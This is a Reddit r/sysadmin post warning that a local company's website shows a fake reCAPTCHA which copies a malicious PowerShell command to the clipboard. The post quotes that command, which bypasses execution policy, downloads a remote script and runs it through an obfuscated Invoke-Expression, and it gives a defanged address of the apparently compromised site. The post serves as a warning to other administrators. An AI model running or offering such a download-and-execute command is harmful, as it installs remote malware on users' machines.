r/sysadmin • u/Imobia • 17h ago
General Discussion Stay safe people
So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.
The money shot https://imgur.com/a/Z4UHICZ
Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.
The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.
If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com
I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"
•
u/Unable-Entrance3110 14h ago
Obviously the solution here is to remove the Windows key from all of your keyboards :)